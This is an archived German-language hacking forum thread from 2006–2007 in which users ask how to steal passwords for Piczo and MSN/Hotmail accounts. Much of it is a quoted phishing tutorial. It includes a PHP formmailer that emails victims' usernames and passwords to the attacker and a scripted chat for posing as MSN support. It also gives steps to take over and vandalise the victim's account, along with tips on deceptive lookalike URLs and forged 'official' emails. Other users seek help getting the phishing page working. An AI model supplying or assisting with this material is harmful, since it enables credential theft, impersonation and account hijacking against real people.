Archive

Gast

hi
ich hab leider keine ahnung von ahcken wüsste aber gerne wie ich pw´s von piczo seiten ahcken kann kann mir da jemand helfen

Verfasst am: 06.11.2006, 23:39

Verfasst am: 07.11.2006, 00:26

kommt drauf an, wie du des machen willst... (wenn ich bissl wirr rede liegt des daran, dass ich mich selber nich so umwerfend auskenn)
wenn du des passwort mit roher gewalt öffnen willst, brauchst du ein brute force proggram
und wenn du des ganze mit geschick machen willst, würd ich eine phishing seite machen, so wie es im tutorial steht...

Verfasst am: 07.11.2006, 18:43

wie kann ich mir denn so ne qle url machen ...?

Verfasst am: 07.11.2006, 19:23

http://www.cydots.com/

Verfasst am: 07.11.2006, 19:51

ja das ich das so machen kann wusste ich schon vorher aber ich bin interesiert an so einem "URL-FAKE":

"http://www.support-msn.org/msnsupport/login.srfid=2DI=108XAPID=4210PS=70635NC=10009CE=11CP=1252HL=HotmailPS=70635NC=10009CE=11CP=1252HL=Hotmailvv=410lc=1031.htm"

würde mich sehr über weitere hilfe freuen

Verfasst am: 07.11.2006, 19:55

Er hat sich die Domain support.msn.org registriert...?

Verfasst am: 07.11.2006, 20:37

achso ne ich hatte mal in irgenteinem tut gelesen das man sowas auch faken kann aber naja danke trozdem

Verfasst am: 17.11.2006, 15:37

Hallo hab mal ne frage zu diesem thema :

So im diesem Tut Zeige ich euch wie man mit einfachen Mitteln schnell ein MSN Passwort kriegt. Als erstes braucht ihr eine Phising-Seite für MSN/Hotmail. Hier könnt ihr zusehen wie ich eine Phisingseite bastle. Alle die das Zeugs Downloaden wollen klicken hier. Solltet ihr das Zeugs gedownloadet haben müsst ihr nurnoch im formmailer.php "your@email.adress" durch eure E-Mail Adresse ersetzen und dann Uploaden. Ich empfehle euch jedoch das ihr die Seite selbst bastelt.
Für die Selbstbastler hier das Template des Formmailers den ich verwendet habe.
Code:
<?php
$yourmail = "
yourmail";

mail("$yourmail", "

$naam. Account Details.

$yourmail", "Username : $user \n Password: $passwd \n \n");

header("Location: original adress");

?>

So das wars soweit mit dem erstellen der Phisingseite. Ihr müsst das nurnoch auf nen Webspace Uploaden der PHP unterstüzt. Wo ihr solchen Space bekommt sagt euch Google.

Nun zum Teil in dem ihr euer Opfer dazu bringen müsst sein PW auf dieser Seite anzugeben. Ich gebe mich dazu als Supporter von MSN aus. Erstellt euch also eine MSN adresse ide z.B. so lauten kann "msn_support_53@msn.com". Nun loggt ihr euch mit dieser Adresse ins MSN ein. Macht euren Namen z.B. so "MSN-Support Deutschland", und nehmt ein gutes Anzeigebild. Nehmt z.B. das Schachbrett oder noch besser ihr macht euch ein MSN-Support Logo. Nun fügt ihr euer Opfer der Kontakliste hinzu (ihr werdet zu 99% angenommen). Nun führt ihr ein Gespräch mit dem Opfer das etwa so aussehen kann: (wir nehmen an die adresse des Opfer wäre "hans.meier@msn.com")

Ich: Guten Tag Herr hans.meier
Opfer: Wer sind Sie?
Ich: Ich bin offizieller Supporter von MSN.
Opfer: Ach so.
Ich: Wir von MSN hätten einige Fragen an Sie. Hätte Sie 2 Minuten Zeit?
Opfer: Ja
Ich: Gut danke.
Wieviele Stunden am Tag nutzen Sie MSN?
Opfer: 1-2 Stunden am Tag
Ich: Gut. Wir haben festgestellt das viele User Probleme beim Login haben. Wir bitten Sie sich nun auf folgender Seite kurz anzumelden, soo können wir den Fehler detailierter analysieren.
http://URL_ZUR_PHISING_SEITE
Opfer: OK
*Anmerkung: Ich hab die Daten gerade eben per E-mail erhalten. Erst jetzt geht das Gespräch weiter.*
Ich: Gut. Ich sehe die Analyse ist gerade angekommen. Danke
Haben Sie noch einen Verbesserungsvorschlag?
Opfer: Ja, beheben Sie die Login Probleme! Sehr glücklich
Ich: Ok, ich bin dran. Winken
Schönen Tag noch Herr hans.heier
*Anmerkung: Bei dem Teil an bei dem ihr die Daten empfangen habt. loggt ihr euch während das Gespräch weiter geht auf Hotmail.com ein un ändert das Passwort. Nach dem Ende des Gesprächs blockt ihr das Opfer.*

So nun loggt ihr euch mit MSN in den Account des Opfers ein und löscht euch aus der Kontaktliste. Nun könnt ihr den Account verwüsten die Kollegen beleidigen und was auch immer. Wollt ihr das euer Opfer sich wieder einloggen kann? Dann wechselt das Passwort wieder auf sein altes.

sks999

Also ich habe jetzt den formalier gemacht und die seite html und jetzt wie soll ich die beiden zusammen tun oder wie geht das das ich dann eine email mit dem passwort bekomme kann mir das jemand bitte verstendlich erklären wäre sehr sehr net....

Verfasst am: 17.11.2006, 18:15

libanese ..... BITTE schreib ned alles rot .... da vergeht manchen das lesen ... wie mir Traurig

Verfasst am: 17.11.2006, 18:16

Ja sorry !!!

aber ich habe immer noch net verstanden wie das geht da ist irgendein fehler kannst du mir helfen bitte....

Verfasst am: 17.11.2006, 18:18

wie gesagt ... mir ist das lesen vergangen ... ändere doch die schriftfarbe und ich schaus mir mal an ^^

// k lass es sein .... ist jo das von niemand ^^

-> ich mach ein Video Tut und uppe es dann

Verfasst am: 17.11.2006, 18:22

Ja das rote war von oben dieser html text von ska..... ich habe nur gesagt wenn ich das mache mit dieser phising seite dann kommt da so ein fehler da steht dann:
Error: Bad/No Recipient
There was no recipient or an invalid recipient specified in the data sent to FormMail. Please make sure you have filled in the recipient form field with an e-mail address that has been configured in @recipients. More information on filling in recipient form fields and variables can be found in the README file.
--------------------------------------------------------------------------------

ich weiss net was das bedeuten und wie mann das wieder hin kriegt

Leser Anmeldungsdatum: 05.01.2007 Beiträge: 1

Isolde hat folgendes geschrieben:

niemand hat folgendes geschrieben:

ja und? macht euch sone url: login.live.aslkhjuioefhifeio.askduhw.com.ms
die glauben das schon Winken

Hier im board ginge das z.B. so [url = www.pppppppppp.com ] hier [/ url]
Kommt eben auf'n chat an.....

Schaut euch mal meine an Sehr glücklich

http://www.support-msn.org/msnsupport/login.srfid=2DI=108XAPID=4210PS=70635NC=10009CE=11CP=1252HL=HotmailPS=70635NC=10009CE=11CP=1252HL=Hotmailvv=410lc=1031.htm

Wie hast du eine soclhe hibekommen? Hab das auch schon probiert mit einem support-msn.de/blabla eine subdomain zu machen, aber das geht nicht, man darf nicht punkte machen...

Leser Geschlecht: Anmeldungsdatum: 13.01.2007 Beiträge: 4

Kleiner TIpp noch meinerseits:
Manchmal kriegt ihr auch offizielle emails von msn, die einfach auch speichern und mit dreamweaver anpassen könnt dann unten einfach den fake link anhängen / verstecken... dann einfach als OFFZIELLE RUNDMAIL schicken mit nem bluff absender support9_live [at] hotmail [dot] com oder so
Darauf fällt nahezu jeder rein....

SocialEngineering & Phishing